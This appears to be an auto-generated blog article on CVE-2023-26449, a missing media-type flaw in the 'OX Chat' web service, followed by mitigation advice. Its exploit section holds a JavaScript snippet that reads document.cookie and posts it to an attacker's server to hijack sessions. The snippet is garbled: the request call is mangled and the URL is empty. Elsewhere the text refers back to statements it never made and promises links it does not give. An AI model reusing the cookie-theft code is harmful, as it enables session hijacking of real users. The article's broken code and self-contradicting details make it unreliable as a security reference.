CVE-2023-26449 is a critical security vulnerability affecting the popular web service, "OX Chat." This vulnerability arises due to the service not specifying a media-type for responses when processing external resource requests. As a result, malicious script code can be executed within the victim's context, potentially leading to session hijacking or triggering unwanted actions via the web interface or API.

This long read will provide an in-depth analysis of the CVE-2023-26449 vulnerability, including code snippets, links to original references, and details of the exploit. To help readers understand the issue and the necessary steps to address it, we will use simple American language and make the content exclusive.

Exploit Details

In order to successfully exploit this vulnerability, the attacker would need temporary access to the users' account or lure a user into a compromised account. This can be achieved by various social engineering techniques, such as phishing emails, or by exploiting other unrelated vulnerabilities in the user's system or network.

For instance, once the attackers have gained access to the vulnerable account, they could inject malicious script code, like the following example:

  window.onload = function() {
    // Retrieve sensitive data from the user's session
    var sessionData = document.cookie;

    // Send the data to the attacker's server
    var xhr = new XMLHttpRequest();'POST', '';);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

With this code injected, when the victim logs into the affected OX Chat account, their sensitive session data would be sent to the attacker's server, thereby enabling session hijacking or triggering unwanted actions via the web interface or API.

Mitigation Steps

To mitigate this vulnerability, the developers of OX Chat have now defined the accepted media-type to avoid code execution. By explicitly specifying the media-type, the service will no longer process or execute code from untrusted external resources.

For example, instead of leaving the media-type unspecified, developers can now set it as follows

Content-Type: application/json

This will prevent the service from executing script code that might be embedded in responses from external resources.

What's Next?
As mentioned earlier, no publicly available exploits are currently known for this vulnerability. However, it is essential to apply the necessary measures to ensure the security of the OX Chat web service. Users are advised to update their systems with the latest patches and versions provided by the OX Chat developers.

Furthermore, implementing security best practices, such as enabling multi-factor authentication, using strong and unique passwords, and being wary of phishing and social engineering attempts, can help users defend against potential attacks.


CVE-2023-26449 is a critical security vulnerability in the OX Chat web service that could potentially lead to session hijacking or triggering unwanted actions via the web interface or API. By specifying a media-type for processing external resource responses and following security best practices, users can protect themselves from potential threats.

For more information on this vulnerability and other related security issues, refer to the following resources:

1. CVE-2023-26449 Official Details
2. OX Chat Official Website
3. OWASP Secure Coding Practices Quick Reference Guide


Published on: 08/02/2023 13:15:00 UTC
Last modified on: 08/07/2023 15:59:00 UTC